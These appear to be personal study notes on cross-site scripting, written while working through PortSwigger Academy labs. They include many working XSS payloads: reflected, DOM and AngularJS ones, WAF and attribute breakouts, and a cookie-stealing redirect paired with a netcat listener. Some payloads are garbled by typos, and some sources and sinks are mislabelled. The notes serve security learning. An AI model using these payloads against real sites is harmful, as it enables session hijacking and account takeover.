**XSS types**

when you are seaching somewhere and if its burf then the search text added in dom by js, will not be shown

Reflected cross site attack

when a text box takes input and renders into the page

<script>alert(1)</script>

<script>window.location='http://localhost:8080?cookie=' + document.cookie</script> and run nc -vv -l -p 8080 to listen

but if renders inside the tag then don't use script <img src=0 onerror="alert(1)">

</select><img src=0 onerror='alert(1)'> to breakout

URL#default=<script>alert(document.cookie)</script>

Window.location is vulnerable because anything after # is not send in the URL to server but stays on the client/browser side

check if eval is used in the js and this is always vulnerable. JSON and Js response are not same

`abcd\"-alert(1)}//` for getting response like {"results":[],"searchTerm":"abcd\\"-alert(1)}//"}

also check if escape is there for few characters like /, ", '

use **-** instead of + because + is always URL encoded

https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-dom-xss-reflected

Stored cross site attack

<script>alert(1)</script>

Dom-based XSS

DOM-based vulnerabilities arise when a website contains JavaScript that takes an attacker-controllable value, known as a source, and passes it into a dangerous function, known as a sink.

e.g. https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-document-write-sink

sources: All these are the sources of getting data which is attacker-controlled.

This can be done by doing serach in the url an check if something is coming or not. But this is not available with DOM because js manipulate here is not shown on inspect source

location.search

location.hash

document.referrer

document.cookie

document.write()

document.writeln()

document.domain

element.innerHTML

element.outerHTML

element.insertAdjacentHTML

element.onevent

sinks: This evaluates attacker script if the attacker data is passed

This is tricky because the dom might not contain it as it happens with contains tag

document.body.innerHTML

document.write

$('')

or any eval function

Taint-flow vulnerabilities

document.URL

document.documentURI

document.URLUnencoded

document.baseURI

location

document.cookie

document.referrer

window.name

history.pushState

history.replaceState

localStorage

sessionStorage

IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)

Database

js sinks

add()

after()

append()

animate()

insertAfter()

insertBefore()

before()

html()

prepend()

replaceAll()

replaceWith()

wrap()

wrapInner()

wrapAll()

has()

constructor()

init()

index()

jQuery.parseHTML()

$.parseHTML()

attacking through img tag error

im = document.createElement("img")

im.src =0 #It sends the request looking for image instantenously and gets error

$('section .blog-list h2:contains(<img src="o" onerror="alert(0)">') # because contains creates a detached element if tags are passed

deliver this exploit to victim

<iframe src="https://YOUR-LAB-ID.web-security-academy.net/#" onload="this.src+='<img src=x onerror=print()>'"></iframe>

attack warning

The innerHTML sink doesn't accept script elements on any modern browser, nor will svg onload events fire so use `<img src` onerror or onload tags>

DOM XSS in AngularJS

https://portswigger.net/web-security/cross-site-scripting/dom-based/lab-angularjs-expression

AngularJS will execute JavaScript inside double curly braces that can occur directly in HTML or inside attributes

ng-app attribute

{{$on.constructor('alert(1)')()}}

<script>document.write(alert(1))</script>

Solve all the problem here for reflected xss: <https://portswigger.net/web-security/cross-site-scripting/contexts>

Ex:3: Reflected xss but protected by web application firewall (WAF) to protect against common XSS vectors.

<iframe scr=”https://0af30028030a2d9380958f4a0088000a.web-security-academy.net/?search=%3Cbody+onresize%3D%22print%28%29%22%3E%3C%2Fbody%3E” onload=this.style.width='100px'>

Ex:4:

[<xss autofocus tabindex=1 onfocus=aler](_blank)t(document.cookie) [></xss>](_blank)

Embeded inside <script> location=’URL’</script>

Ex:5

Ex:6

Update the tag list with svg variants

<svg><animatetransform onbegin=alert(1) attributeName=transform>

## XSS in HTML tag attributes

When the XSS context is into an HTML tag attribute value, you might sometimes be able to terminate the attribute value, close the tag, and introduce a new one. For example:

"><script>alert(document.domain)</script>

More commonly in this situation, angle brackets are blocked or encoded, so your input cannot break out of the tag in which it appears. Provided you can terminate the attribute value, you can normally introduce a new attribute that creates a scriptable context, such as an event handler. For example:

" autofocus onfocus=alert(document.domain) x="

Ex:7: <https://portswigger.net/web-security/cross-site-scripting/contexts/lab-attribute-angle-brackets-html-encoded>

"onmouseover="alert(1) inside <h1>0 search results for '"onmouseover="alert(1)'</h1>

Warning : how is this working?

Create an html element and check if the above can be recreated

Ex:8: https://portswigger.net/web-security/cross-site-scripting/contexts/lab-href-attribute-double-quotes-html-encoded

<a href="javascript:alert(document.domain)">

Ex:9: <https://portswigger.net/web-security/cross-site-scripting/contexts/lab-canonical-link-tag>

You might encounter websites that encode angle brackets but still allow you to inject attributes. Sometimes, these injections are possible even within tags that don't usually fire events automatically, such as a canonical tag. You can exploit this behavior using access keys and user interaction on Chrome. Access keys allow you to provide keyboard shortcuts that reference a specific element. The accesskey attribute allows you to define a letter that, when pressed in combination with other keys (these vary across different platforms), will cause events to fire. In the next lab you can experiment with access keys and exploit a canonical tag. [You can exploit XSS in hidden input fields using a technique invented by PortSwigger Research](https://portswigger.net/research/xss-in-hidden-input-fields).

Only on chrome with accesskey

%27accesskey=%27x%27onclick=%27alert(1)

or

‘accesskey=’x’onclick=’alert(1)

Ex:10: Break out of existing javascript and execute your tag by inserting img tag with js

<https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-single-quote-backslash-escaped>

</script><img src=1 onerror=alert(document.domain)>

Ex:11: Break out of string in js itself

https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-string-angle-brackets-html-encoded

Common ways are

'-alert(document.domain)-'

';alert(document.domain)//

Solution: '-alert(document.domain)-'

But sometimes backslash is used to prevent breakout so attacker use extra backslash to nullify the introduced backslash eg. \';alert(document.domain)// => \\';alert(document.domain)// which is being nullified

https://portswigger.net/web-security/cross-site-scripting/contexts/lab-onclick-event-angle-brackets-double-quotes-html-encoded-single-quotes-backslash-escaped

http://foo?&apos;-alert(1)-&apos;

= http://foo?’-alert(1)-’

Expert level problem:

<https://portswigger.net/web-security/cross-site-scripting/contexts/lab-javascript-url-some-characters-blocked>

WAF stands for Web Application Firewall

Extra materials to read: <https://portswigger.net/research/xss-without-parentheses-and-semi-colons>

Nice blog: <https://portswigger.net/research/xss-without-parentheses-and-semi-colons>

<script>throw onerror=alert,'some string',123,'haha'</script>

**After reading Solve the remaining one**

<https://portswigger.net/web-security/cross-site-scripting/contexts>

Cheatsheet : <https://portswigger.net/web-security/cross-site-scripting/cheat-sheet>

TO read:

https://portswigger.net/web-security/dom-based